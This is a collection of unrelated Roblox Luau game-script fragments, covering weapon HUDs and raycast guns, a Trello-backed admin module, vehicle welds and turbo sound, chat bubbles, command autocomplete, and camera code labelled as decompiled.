D.Font = Enum.Font.ArialBold
D.FontSize = Enum.FontSize.Size14
D.Text = "- "..Desc
D.TextColor3 = Color3.new(1, 1, 1)
D.TextXAlignment = Enum.TextXAlignment.Left
D.Parent = C
end
function SetUpGui()
local HUD = Gui_Clone:WaitForChild("HUD")
local Scope = Gui_Clone:WaitForChild("Scope")
local CurrentNum = 1
if S.CanChangeStance then
local Dive = (S.DolphinDive and " / Dive" or "")
CreateControlFrame(ConvertKey(S.LowerStanceKey), "Lower Stance"..Dive, CurrentNum)
CurrentNum = CurrentNum + 1
CreateControlFrame(ConvertKey(S.RaiseStanceKey), "Raise Stance", CurrentNum)
CurrentNum = CurrentNum + 1
end
CreateControlFrame(ConvertKey(S.ReloadKey), "Reload", CurrentNum)
CurrentNum = CurrentNum + 1
if S.CanKnife then
CreateControlFrame(ConvertKey(S.KnifeKey), "Knife", CurrentNum)
CurrentNum = CurrentNum + 1
end
CreateControlFrame(ConvertKey(S.SprintKey), "Sprint", CurrentNum)
CurrentNum = CurrentNum + 1
if S.GuiScope then
Scope:WaitForChild("Img").Image = S.GuiId
Scope:WaitForChild("Steady").Text = "Hold "..ConvertKey(S.ScopeSteadyKey).." to Steady"
end
HUD:WaitForChild("Grenades"):WaitForChild("Lethals"):WaitForChild("Icon").Image = LethalIcons[S.LethalGrenadeType]
HUD:WaitForChild("Grenades"):WaitForChild("Tacticals"):WaitForChild("Icon").Image = TacticalIcons[S.TacticalGrenadeType]
end
|
-- Check if character is there
|
if script.Owner.Value.Character ~= nil then
-- Find knife
local knife = nil
if script.Owner.Value.Backpack:FindFirstChild("Knife") then
knife = script.Owner.Value.Backpack.Knife
elseif script.Owner.Value.Character:FindFirstChild("Knife") then
knife = script.Owner.Value.Character.Knife
end
if knife ~= nil then
-- Make it go through players
knife.KnifeScript.KnifeProjectileScript.MultikillsAllowed.Value = true
end
end
|
--// HTTP
|
return function(Vargs)
local server = Vargs.Server;
local service = Vargs.Service;
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
Logs:AddLog("Script", "HTTP Module Initialized")
end;
server.HTTP = {
Init = Init;
Service = service.HttpService;
CheckHttp = function()
local y,n = pcall(function()
local hs = service.HttpService
local get = hs:GetAsync('http://google.com')
end)
if y and not n then return true end
end;
WebPanel = {
Moderators = {};
Admins = {};
Owners = {};
Creators = {};
Mutes = {};
Bans = {};
Blacklist = {};
Whitelist = {};
};
Trello = {
Helpers = {};
Moderators = {};
Admins = {};
Owners = {};
Creators = {};
Mutes = {};
Bans = {};
Music = {};
InsertList = {};
Agents = {};
Blacklist = {};
Whitelist = {};
PerformedCommands = {};
Update = function()
if not HTTP.CheckHttp() then
--HTPP.Trello.Bans = {'Http is not enabled! Cannot connect to Trello!'}
warn('Http is not enabled! Cannot connect to Trello!')
elseif not Settings.Trello_Enabled then
-- Do something else?
else
local boards = {}
local bans = {}
local admins = {}
local mods = {}
local owners = {}
local helpers = {}
local creators = {}
local agents = {}
local music = {}
local insertlist = {}
local mutes = {}
local perms = {}
local blacklist = {}
local whitelist = {}
local function grabData(board)
local trello = HTTP.Trello.API(Settings.Trello_AppKey,Settings.Trello_Token)
local lists = trello.getLists(board)
local banList = trello.getListObj(lists,{"Banlist","Ban List","Bans"})
local commandList = trello.getListObj(lists,{"Commands","Command List"})
local adminList = trello.getListObj(lists,{"Admins","Admin List","Adminlist"})
local modList = trello.getListObj(lists,{"Moderators","Moderator List","Moderatorlist","Modlist","Mod List","Mods"})
local creatorList = trello.getListObj(lists,{"Creators","Creator List","Creatorlist","Place Owners"})
local ownerList = trello.getListObj(lists,{"Owners","Owner List","Ownerlist"})
local musicList = trello.getListObj(lists,{"Music","Music List","Musiclist","Songs"})
local insertList = trello.getListObj(lists,{"InsertList","Insert List","Insertlist","Inserts","ModelList","Model List","Modellist","Models"})
local permList = trello.getListObj(lists,{"Permissions","Permission List","Permlist"})
local muteList = trello.getListObj(lists,{"Mutelist","Mute List"})
local agentList = trello.getListObj(lists,{"Agents","Agent List","Agentlist"})
local bList = trello.getListObj(lists,"Blacklist")
local wList = trello.getListObj(lists,"Whitelist")
if banList then
local cards = trello.getCards(banList.id)
for l,k in pairs(cards) do
table.insert(bans,k.name)
end
end
if creatorList then
local cards = trello.getCards(creatorList.id)
for l,k in pairs(cards) do
table.insert(creators,k.name)
end
end
if modList then
local cards = trello.getCards(modList.id)
for l,k in pairs(cards) do
table.insert(mods,k.name)
end
end
if adminList then
local cards = trello.getCards(adminList.id)
for l,k in pairs(cards) do
table.insert(admins,k.name)
end
end
if ownerList then
local cards = trello.getCards(ownerList.id)
for l,k in pairs(cards) do
table.insert(owners,k.name)
end
end
if agentList then
local cards = trello.getCards(agentList.id)
for l,k in pairs(cards) do
table.insert(agents,k.name)
end
end
if musicList then
local cards = trello.getCards(musicList.id)
for l,k in pairs(cards) do
if k.name:match('^(.*):(.*)') then
local a,b=k.name:match('^(.*):(.*)')
table.insert(music,{Name = a,ID = tonumber(b)})
end
end
end
if insertList then
local cards = trello.getCards(insertList.id)
for l,k in pairs(cards) do
if k.name:match('^(.*):(.*)') then
local a,b=k.name:match('^(.*):(.*)')
table.insert(insertlist,{Name = a,ID = tonumber(b)})
end
end
end
if muteList then
local cards = trello.getCards(muteList.id)
for l,k in pairs(cards) do
table.insert(mutes,k.name)
end
end
if bList then
local cards = trello.getCards(bList.id)
for l,k in pairs(cards) do
table.insert(blacklist,k.name)
end
end
if wList then
local cards = trello.getCards(wList.id)
for l,k in pairs(cards) do
table.insert(whitelist,k.name)
end
end
if permList then
local cards = trello.getCards(permList.id)
for l,k in pairs(cards) do
local com,level = k.name:match("^(.*):(.*)")
if com and level then
Admin.SetPermission(com,level)
end
end
end
if commandList then
local cards = trello.getCards(commandList.id)
for l,k in pairs(cards) do
if not HTTP.Trello.PerformedCommands[tostring(k.id)] then
local cmd = k.name
local placeid
if cmd:sub(1,1)=="$" then
placeid = cmd:sub(2):match(".%d+")
cmd = cmd:sub(#placeid+2)
placeid = tonumber(placeid)
end
if placeid and game.PlaceId~=placeid then return end
Admin.RunCommand(cmd)
HTTP.Trello.PerformedCommands[tostring(k.id)] = true
Logs.AddLog(Logs.Script,{
Text = "Trello command executed";
Desc = cmd;
})
if Settings.Trello_Token ~= "" then
pcall(trello.makeComment,k.id,"Ran Command: "..cmd.."\nPlace ID: "..game.PlaceId.."\nServer Job Id: "..game.JobId.."\nServer Players: "..#service.GetPlayers().."\nServer Time: "..service.GetTime())
end
end
end
end
end
for i,v in pairs(Settings.Trello_Secondary) do table.insert(boards,v) end
if Settings.Trello_Primary~="" then table.insert(boards,Settings.Trello_Primary) end
for i,v in pairs(boards) do pcall(grabData,v) end
if #bans>0 then HTTP.Trello.Bans = bans end
if #creators>0 then HTTP.Trello.Creators = creators end
if #admins>0 then HTTP.Trello.Admins = admins end
if #mods>0 then HTTP.Trello.Moderators = mods end
if #owners>0 then HTTP.Trello.Owners = owners end
if #music>0 then HTTP.Trello.Music = music end
if #insertlist>0 then HTTP.Trello.InsertList = insertlist end
if #mutes>0 then HTTP.Trello.Mutes = mutes end
if #agents>0 then HTTP.Trello.Agents = agents end
if #blacklist>0 then HTTP.Trello.Blacklist = blacklist end
if #whitelist>0 then HTTP.Trello.Whitelist = whitelist end
for i,v in pairs(service.GetPlayers()) do
if Admin.CheckBan(v) then
v:Kick(Variables.BanMessage)
end
if v and v.Parent then
for ind,admin in pairs(HTTP.Trello.Mutes) do
if Admin.DoCheck(v,admin) then
Remote.LoadCode(v,[[service.StarterGui:SetCoreGuiEnabled("Chat",false) client.Variables.ChatEnabled = false client.Variables.Muted = true]])
end
end
end
Admin.UpdateCachedLevel(v)
end
Logs.AddLog(Logs.Script,{
Text = "Updated Trello Data";
Desc = "Data was retreived from Trello";
})
end
end;
CheckAgent = function(p)
for ind,v in pairs(HTTP.Trello.Agents) do
if Admin.DoCheck(p,v) then
return true
end
end
end;
};
};
end
|
---------------------------
--[[
--Main anchor point is the DriveSeat <car.DriveSeat>
Usage:
MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only
ModelWeld(Model,MainPart)
Example:
MakeWeld(car.DriveSeat,misc.PassengerSeat)
MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here
|
MakeWeld(car.DriveSeat,misc:WaitForChild('Downforce'))
misc:WaitForChild("Spoiler")
MakeWeld(car.DriveSeat,misc.Spoiler:WaitForChild("A1")).Name="W"
MakeWeld(misc.Spoiler.A1,misc.Spoiler:WaitForChild("A2"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.A2,misc.Spoiler:WaitForChild("A3"),"Motor",.02).Name="W"
MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A4"),"Motor",.01).Name="P"
MakeWeld(misc.Spoiler.A4,misc.Spoiler:WaitForChild("Sp"),"Motor",.01).Name="W"
MakeWeld(misc.Spoiler.Sp,misc.Spoiler:WaitForChild("B1"))
MakeWeld(misc.Spoiler.B1,misc.Spoiler:WaitForChild("B"),"Motor",.01).Name="W"
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
--[=[
Sets the BasicPane to be visible
@param isVisible boolean -- Whether or not the pane should be visible
@param doNotAnimate boolean? -- True if this visiblity should not animate
]=]
|
function BasicPane:SetVisible(isVisible, doNotAnimate)
assert(type(isVisible) == "boolean", "Bad isVisible")
if self._visible ~= isVisible then
self._visible = isVisible
local maid = Maid.new()
self._maid._paneVisibleMaid = maid
self.VisibleChanged:Fire(self._visible, doNotAnimate, maid)
end
end
|
-- Head
|
local Neck = character.UpperTorso:FindFirstChild("NeckRigAttachment")
local Head = character.Head:FindFirstChild("NeckRigAttachment")
|
--[[ SCRIPT VARIABLES ]]
|
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10
local CHAT_BUBBLE_TAIL_HEIGHT = 14
local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_FADE_SPEED = 1.5
local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters
local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive
if FFlagUserChatNewMessageLengthCheck2 then
MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1
else
MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1
end
local NEAR_BUBBLE_DISTANCE = 65 --previously 45
local MAX_BUBBLE_DISTANCE = 100 --previously 80
|
-- luacheck: ignore 212
|
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
return function(Cmdr)
local AutoComplete = {
Items = {},
ItemOptions = {},
SelectedItem = 0,
}
local Util = Cmdr.Util
local Gui = Player:WaitForChild("PlayerGui"):WaitForChild("Cmdr"):WaitForChild("Autocomplete")
local AutoItem = Gui:WaitForChild("TextButton")
local Title = Gui:WaitForChild("Title")
local Description = Gui:WaitForChild("Description")
local Entry = Gui.Parent:WaitForChild("Frame"):WaitForChild("Entry")
AutoItem.Parent = nil
local defaultBarThickness = Gui.ScrollBarThickness
-- Helper function that sets text and resizes labels
local function SetText(obj, textObj, text, sizeFromContents)
obj.Visible = text ~= nil
textObj.Text = text or ""
if sizeFromContents then
textObj.Size = UDim2.new(
0,
Util.GetTextSize(text or "", textObj, Vector2.new(1000, 1000), 1, 0).X,
obj.Size.Y.Scale,
obj.Size.Y.Offset
)
end
end
local function UpdateContainerSize()
Gui.Size = UDim2.new(
0,
math.max(Title.Field.TextBounds.X + Title.Field.Type.TextBounds.X, Gui.Size.X.Offset),
0,
math.min(Gui.UIListLayout.AbsoluteContentSize.Y, Gui.Parent.AbsoluteSize.Y - Gui.AbsolutePosition.Y - 10)
)
end
-- Update the info display (Name, type, and description) based on given options.
local function UpdateInfoDisplay(options)
-- Update the objects' text and sizes
SetText(Title, Title.Field, options.name, true)
SetText(
Title.Field.Type,
Title.Field.Type,
options.type and ": " .. options.type:sub(1, 1):upper() .. options.type:sub(2)
)
SetText(Description, Description.Label, options.description)
Description.Label.TextColor3 = options.invalid and Color3.fromRGB(255, 73, 73) or Color3.fromRGB(255, 255, 255)
Description.Size = UDim2.new(1, 0, 0, 40)
-- Flow description text
while not Description.Label.TextFits do
Description.Size = Description.Size + UDim2.new(0, 0, 0, 2)
if Description.Size.Y.Offset > 500 then
break
end
end
-- Update container
task.wait()
Gui.UIListLayout:ApplyLayout()
UpdateContainerSize()
Gui.ScrollBarThickness = defaultBarThickness
end
--- Shows the auto complete menu with the given list and possible options
-- item = {typedText, suggestedText, options?=options}
-- The options table is optional. `at` should only be passed into AutoComplete::Show
-- name, type, and description may be passed in an options dictionary inside the items as well
-- options.at?: the character index at which to show the menu
-- options.name?: The name to display in the info box
-- options.type?: The type to display in the info box
-- options.prefix?: The current type prefix (%Team)
-- options.description?: The description for the currently active info box
-- options.invalid?: If true, description is shown in red.
-- options.isLast?: If true, auto complete won't keep going after this argument.
function AutoComplete:Show(items, options)
options = options or {}
-- Remove old options.
for _, item in pairs(self.Items) do
if item.gui then
item.gui:Destroy()
end
end
-- Reset state
self.SelectedItem = 1
self.Items = items
self.Prefix = options.prefix or ""
self.LastItem = options.isLast or false
self.Command = options.command
self.Arg = options.arg
self.NumArgs = options.numArgs
self.IsPartial = options.isPartial
-- Generate the new option labels
local autocompleteWidth = 200
Gui.ScrollBarThickness = 0
for i, item in pairs(self.Items) do
local leftText = item[1]
local rightText = item[2]
local btn = AutoItem:Clone()
btn.Name = leftText .. rightText
btn.BackgroundTransparency = i == self.SelectedItem and 0.5 or 1
local start, stop = string.find(rightText:lower(), leftText:lower(), 1, true)
btn.Typed.Text = string.rep(" ", start - 1) .. leftText
btn.Suggest.Text = string.sub(rightText, 0, start - 1)
.. string.rep(" ", #leftText)
.. string.sub(rightText, stop + 1)
btn.Parent = Gui
btn.LayoutOrder = i
local maxBounds = math.max(btn.Typed.TextBounds.X, btn.Suggest.TextBounds.X) + 20
if maxBounds > autocompleteWidth then
autocompleteWidth = maxBounds
end
item.gui = btn
end
Gui.UIListLayout:ApplyLayout()
-- Todo: Use TextService to find accurate position for auto complete box
local text = Entry.TextBox.Text
local words = Util.SplitString(text)
if text:sub(#text, #text) == " " and not options.at then
words[#words + 1] = "e"
end
table.remove(words, #words)
local extra = (options.at and options.at or (#table.concat(words, " ") + 1)) * 7
-- Update the auto complete container
Gui.Position =
UDim2.new(0, Entry.TextBox.AbsolutePosition.X - 10 + extra, 0, Entry.TextBox.AbsolutePosition.Y + 30)
Gui.Size = UDim2.new(0, autocompleteWidth, 0, Gui.UIListLayout.AbsoluteContentSize.Y)
Gui.Visible = true
-- Finally, update thge info display
UpdateInfoDisplay(self.Items[1] and self.Items[1].options or options)
end
--- Returns the selected item in the auto complete
function AutoComplete:GetSelectedItem()
if Gui.Visible == false then
return nil
end
return AutoComplete.Items[AutoComplete.SelectedItem]
end
--- Hides the auto complete
function AutoComplete:Hide()
Gui.Visible = false
end
--- Returns if the menu is visible
function AutoComplete:IsVisible()
return Gui.Visible
end
--- Changes the user's item selection by the given delta
function AutoComplete:Select(delta)
if not Gui.Visible then
return
end
self.SelectedItem = self.SelectedItem + delta
if self.SelectedItem > #self.Items then
self.SelectedItem = 1
elseif self.SelectedItem < 1 then
self.SelectedItem = #self.Items
end
for i, item in pairs(self.Items) do
item.gui.BackgroundTransparency = i == self.SelectedItem and 0.5 or 1
end
Gui.CanvasPosition = Vector2.new(
0,
math.max(
0,
Title.Size.Y.Offset
+ Description.Size.Y.Offset
+ self.SelectedItem * AutoItem.Size.Y.Offset
- Gui.Size.Y.Offset
)
)
if self.Items[self.SelectedItem] and self.Items[self.SelectedItem].options then
UpdateInfoDisplay(self.Items[self.SelectedItem].options or {})
end
end
Gui.Parent:GetPropertyChangedSignal("AbsoluteSize"):Connect(UpdateContainerSize)
return AutoComplete
end
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
EmoteNames = {
Wave = false,
Point = false,
Dance = true,
Dance2 = true,
Dance3 = true,
Laugh = false,
Cheer = false
}
math.randomseed(tick())
function ConfigureAnimationSet(Name, FileList)
if AnimTable[Name] then
for i, Connection in pairs(AnimTable[Name].Connections) do
Connection:disconnect()
end
end
AnimTable[Name] = {}
AnimTable[Name].Count = 0
AnimTable[Name].TotalWeight = 0
AnimTable[Name].Connections = {}
-- check for config values
local Config = script:FindFirstChild(Name)
if Config then
|
-- places a brick at pos and returns the position of the brick's opposite corner
|
function placeBrick(cf, pos, color)
local brick = Instance.new("Part")
brick.BrickColor = BrickColor.Random()
brick.CFrame = cf * CFrame.new(pos + brick.Size / 2)
script.Parent.BrickCleanup:Clone().Parent = brick -- attach cleanup script to this brick
brick.BrickCleanup.Disabled = false
brick.Parent = game.Workspace
brick:MakeJoints()
return brick, pos + brick.Size
end
function buildWall(cf)
local color = BrickColor.Random()
local bricks = {}
assert(wallWidth>0)
local y = 0
while y < wallHeight do
local p
local x = -wallWidth/2
while x < wallWidth/2 do
local brick
brick, p = placeBrick(cf, Vector3.new(x, y, 0), color)
x = p.x
table.insert(bricks, brick)
wait(brickSpeed)
end
y = p.y
end
return bricks
end
function snap(v)
if math.abs(v.x)>math.abs(v.z) then
if v.x>0 then
return Vector3.new(1,0,0)
else
return Vector3.new(-1,0,0)
end
else
if v.z>0 then
return Vector3.new(0,0,1)
else
return Vector3.new(0,0,-1)
end
end
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then
return
end
local targetPos = MouseLoc:InvokeClient(game:GetService("Players"):GetPlayerFromCharacter(character))
local lookAt = snap( (targetPos - character.Head.Position).unit )
local cf = CFrame.new(targetPos, targetPos + lookAt)
Tool.Handle.BuildSound:Play()
buildWall(cf)
wait(5)
Tool.Enabled = true
end
Tool.Activated:Connect(onActivated)
|
--//Setup//--
|
local NPC = script.Parent
local NPCHumanoid = NPC:WaitForChild("Humanoid")
local NPCAnimator = NPCHumanoid:WaitForChild("Animator")
local Anim = script:WaitForChild("Idle")
|
-- Gets the storage location for packages used by each Dev Modules. The packages
-- that get put in this folder are deduplicated so every distinct version of a
-- package has only one copy.
|
local function getPackageStorage()
local packageStorage = PACKAGE_STORAGE_LOCATION:FindFirstChild(PACKAGE_STORAGE_NAME)
if not packageStorage then
packageStorage = Instance.new("Folder")
packageStorage.Name = PACKAGE_STORAGE_NAME
packageStorage.Parent = PACKAGE_STORAGE_LOCATION
end
return packageStorage
end
|
--------------------------------------------------------------------------
-- Types
--------------------------------------------------------------------------
|
type Controller = (Humanoid | AnimationController | Animater)
type AnimationIndex = {
id: string,
priority: Enum.AnimationPriority?,
weight: number?,
weightFade: number?,
speed: number?,
}
type options = {
stopOthers: boolean?,
fadeIn: number?,
fadeOut: number?,
weight: number?,
weightFade: number?,
speed: number?
}
|
-- Default options
|
Options = {
DefaultPartParent = Workspace
};
|
--[=[
@param msg string
@return value: any
Unwraps the value in the option, otherwise throws an error with `msg` as the error message.
```lua
local opt = Option.Some(10)
print(opt:Expect("No number")) -> 10
print(Option.None:Expect("No number")) -- Throws an error "No number"
```
]=]
|
function Option:Expect(msg)
assert(self:IsSome(), msg)
return self._v
end
|
--Values--
|
local car = script.Parent.Parent.Car.Value
local FE = workspace.FilteringEnabled
local _Tune = require(car["A-Chassis Tune"])
local Redline = _Tune.Redline
local maxPSI = WasteGatePressure
local totalPSI = 0
local actualPSI = 0
local CR = CompressionRatio
local TC = TurboCount
local handler = car:WaitForChild("UpdateAndMake")
local Values = script.Parent.Parent.Values
local Throttle = script.Parent.Parent.Values.Throttle.Value
local BOVFix = (1 - Throttle)
local tester = 1
local BOVact = 0
local BOVact2 = 0
local Whistle = car.DriveSeat:WaitForChild("Whistle")
local BOV = car.DriveSeat:WaitForChild("BOV")
Whistle:Play()
script.Parent.Parent.Values.RPM.Changed:connect(function()
--When In Neutral
if Values.Horsepower.Value == 0 then
totalPSI = totalPSI + ((((((Values.RPM.Value*(Values.Throttle.Value*1.2)/Redline)/9)-0.035)*((36/TurboSize)*2))/WasteGatePressure)*15)
if totalPSI < 0.05 then
totalPSI = 0.05
end
if totalPSI > 2 then
totalPSI = 2
end
--TEST
end
--When Driving
if Values.Horsepower.Value > 0 then
totalPSI = totalPSI + ((((((Values.Horsepower.Value*(Values.Throttle.Value*1.2)/_Tune.Horsepower)/9)-0.045)*((36/TurboSize)*2))/WasteGatePressure)*15)
if totalPSI < 0.05 then
totalPSI = 0.05
end
if totalPSI > 2 then
totalPSI = 2
end
--TEST
end
actualPSI = totalPSI/2
if FE then
local BP = totalPSI
handler:FireServer(totalPSI,actualPSI,Throttle,BOVFix,BOV_Loudness,TurboLoudness)
else
local Throttle2 = Throttle
local W = car.DriveSeat:WaitForChild("Whistle")
local B = car.DriveSeat:WaitForChild("BOV")
if Throttle2 < 0 then
Throttle2 = 0
end
W.Pitch = (totalPSI)
W.Volume = (totalPSI/4)*TurboLoudness
B.Pitch = 1 - (-totalPSI/40)
B.Volume = (((-0.03+totalPSI/2)*(1 - Throttle))/2)*BOV_Loudness
end
end)
|
-- return hit -- Swerve, without checking to jump.
|
elseif Hit.Velocity.y > 1 then
Hit = nil -- ignore, if other AI is already jumping; else check to Jump
end -- East -West collisions - swerve. North/South, check-to-jump.
end -- endifs
end -- read hit
|
-- Local Functions
|
local function OnDisplayNotification(teamColor, message)
local notificationFrame = ScoreFrame.Frame[tostring(teamColor)].Notification
notificationFrame.Text = message
notificationFrame:TweenSize(UDim2.new(1,0,1,0), Enum.EasingDirection.Out,
Enum.EasingStyle.Quad, .25, false)
wait(1.5)
notificationFrame:TweenSize(UDim2.new(1,0,0,0), Enum.EasingDirection.Out,
Enum.EasingStyle.Quad, .1, false)
end
local function OnScoreChange(team, score)
ScoreFrame.Frame[tostring(team.TeamColor)].Text = score
end
local function OnDisplayVictory(winningTeam)
if winningTeam then
VictoryFrame.Visible = true
if winningTeam == 'Tie' then
VictoryFrame.Tie.Visible = true
else
VictoryFrame.Win.Visible = true
local WinningFrame = VictoryFrame.Win[winningTeam.Name]
WinningFrame.Visible = true
end
else
VictoryFrame.Visible = false
VictoryFrame.Win.Visible = false
VictoryFrame.Win.Red.Visible = false
VictoryFrame.Win.Blue.Visible = false
VictoryFrame.Tie.Visible = false
end
end
local function OnResetMouseIcon()
Mouse.Icon = MouseIcon
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__Players__1 = game:GetService("Players");
local l__UserInputService__2 = game:GetService("UserInputService");
local l__UserGameSettings__3 = UserSettings():GetService("UserGameSettings");
local v4 = require(script.Parent:WaitForChild("CameraInput"));
local v5 = require(script.Parent:WaitForChild("CameraUI"));
local v6 = require(script.Parent:WaitForChild("CameraUtils"));
local v7 = tick();
v5.setCameraModeToastEnabled(false);
local u1 = false;
local u2 = false;
local u3 = v7;
local u4 = false;
local u5 = false;
return function(p1)
local v8 = v4.getTogglePan();
if p1 and v8 ~= u1 then
u2 = true;
end;
if u1 ~= v8 or tick() - u3 > 3 then
local v9 = v8 and tick() - u3 < 3;
v5.setCameraModeToastOpen(v9);
if v8 then
u2 = false;
end;
u3 = tick();
u1 = v8;
end;
if p1 ~= u4 then
if p1 then
u5 = v4.getTogglePan();
v4.setTogglePan(true);
elseif not u2 then
v4.setTogglePan(u5);
end;
end;
if p1 then
if v4.getTogglePan() then
v6.setMouseIconOverride("rbxasset://textures/Cursors/CrossMouseIcon.png");
v6.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter);
v6.setRotationTypeOverride(Enum.RotationType.CameraRelative);
else
v6.restoreMouseIcon();
v6.restoreMouseBehavior();
v6.setRotationTypeOverride(Enum.RotationType.CameraRelative);
end;
elseif v4.getTogglePan() then
v6.setMouseIconOverride("rbxasset://textures/Cursors/CrossMouseIcon.png");
v6.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter);
v6.setRotationTypeOverride(Enum.RotationType.MovementRelative);
elseif v4.getHoldPan() then
v6.restoreMouseIcon();
v6.setMouseBehaviorOverride(Enum.MouseBehavior.LockCurrentPosition);
v6.setRotationTypeOverride(Enum.RotationType.MovementRelative);
else
v6.restoreMouseIcon();
v6.restoreMouseBehavior();
v6.restoreRotationType();
end;
u4 = p1;
end;
|
--[[local gui = Instance.new("ScreenGui")
local bg = Instance.new("Frame",gui)
local bar = Instance.new("Frame",bg)
local bvl = Instance.new("ImageLabel", bg)
bvl.Name = "Bevel"
bvl.BackgroundTransparency = 1
bvl.Image = "http://www.roblox.com/asset/?id=56852431"
bvl.Size = UDim2.new(1,0,1,0)
bg.Name = "Back"
bar.Name = "Charge"
bar.BackgroundColor3 = Color3.new(200/255,0/255,0/255)
bg.BackgroundColor3 = Color3.new(200/255,200/255,200/255)
bg.Size = UDim2.new(0,10,0,-100)
bg.Position = UDim2.new(0,5,0,500)
bar.Size = UDim2.new(0,4,-1,0)
bar.Position = UDim2.new(0,3,1,0)
ggui = gui:Clone()
ggui.Name = "GunGui"
ggui.Back.Charge.Size = UDim2.new(0,4,-(script.Charge.Value/100),0)]]
|
GroupID = 9999
function AntiGH(char1,char2)
if GH then
local plyr1 = game.Players:findFirstChild(char1.Name)
local plyr2 = game.Players:findFirstChild(char2.Name)
if plyr1 and plyr2 then
if plyr1:IsInGroup(GroupID) and plyr2:IsInGroup(GroupID) then
return false
end
end
return true
elseif not GH then
return true
end
end
MaxDist = 1000
function RayCast(Start,End,Ignore)
if WallShoot then
ray1 = Ray.new(Start, End.unit * 999.999)
local Part1, TempPos = Workspace:FindPartOnRay(ray1,Ignore)
ray2 = Ray.new(TempPos, End.unit * 999.999)
local Part2, EndPos = Workspace:FindPartOnRay(ray2,Part1)
return Part1, Part2, EndPos
elseif not WallShoot then
ray = Ray.new(Start, End.unit * 999.999)
return Workspace:FindPartOnRay(ray,Ignore)
end
end
function DmgPlr(Part)
if Part ~= nil then
local c = Instance.new("ObjectValue")
c.Name = "creator"
c.Value = game.Players:findFirstChild(script.Parent.Parent.Name)
local hum = Part.Parent:findFirstChild("Humanoid")
local hathum = Part.Parent.Parent:findFirstChild("Humanoid")
local hat = Part.Parent
if hathum ~= nil and hat:IsA("Hat") and AntiGH(hathum.Parent, script.Parent.Parent) then
hathum:TakeDamage(Damage/1)
Part.Parent = game.Workspace
Part.CFrame = CFrame.new(Part.Position + Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)))
hat:Remove()
c.Parent = hathum
game.Debris:AddItem(c,1.5)
elseif hum ~= nil and AntiGH(hum.Parent, script.Parent.Parent) then
if Part.Name == "Head" then
hum:TakeDamage(Damage*1.3)
end
hum:TakeDamage(Damage)
c.Parent = hum
game.Debris:AddItem(c,1.5)
end
end
end
function onButton1Down(mouse)
if script.Parent.Ammo.Value == 0 then
else
if GunType == 0 then
if (not enabled) then return end
enabled = false
LaserShoot(mouse)
if Flash then
script.Parent.Barrel.Light.Light.Visible = true
end
script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1
wait(0.01)
if Flash then
script.Parent.Barrel.Light.Light.Visible = false
end
wait(1/SPS)
enabled = true
elseif GunType == 1 then
automatichold = true
while automatichold == true and script.Parent.Ammo.Value ~= 0 do wait()
if (not enabled) then return end
if script.Parent.Parent:findFirstChild("Humanoid").Health == 0 then script.Parent:Remove() end
enabled = false
LaserShoot(mouse)
if Flash then
script.Parent.Barrel.Light.Light.Visible = true
end
script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1
wait(0.01)
if Flash then
script.Parent.Barrel.Light.Light.Visible = false
end
wait(1/SPS)
enabled = true
end
end
end
end
function LaserShoot(mouse)
hit = mouse.Hit.p
local StartPos = script.Parent.Barrel.CFrame.p
local rv = (StartPos-hit).magnitude/(Recoil * 20)
local rcl = Vector3.new(math.random(-rv,rv),math.random(-rv,rv),math.random(-rv,rv))
aim = hit + rcl
local P = Instance.new("Part")
P.Name = "Bullet"
P.formFactor = 3
P.BrickColor = BrickColor.new(BulletColor)
P.Size = Vector3.new(1,1,1)
P.Anchored = true
P.CanCollide = false
P.Transparency = 0.5
P.Parent = script.Parent.Parent
local m = Instance.new("CylinderMesh")
m.Name = "Mesh"
m.Parent = P
local c = Instance.new("ObjectValue")
c.Name = "creator"
c.Value = game.Players:findFirstChild(script.Parent.Parent.Name)
pewsound = script:FindFirstChild("Fire")
if pewsound then
pewsound:Play()
end --Brick created. Moving on to next part
local SPos = script.Parent.Barrel.CFrame.p
if WallShoot then
local Part1, Part2, EndPos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent)
DmgPlr(Part1)
DmgPlr(Part2)
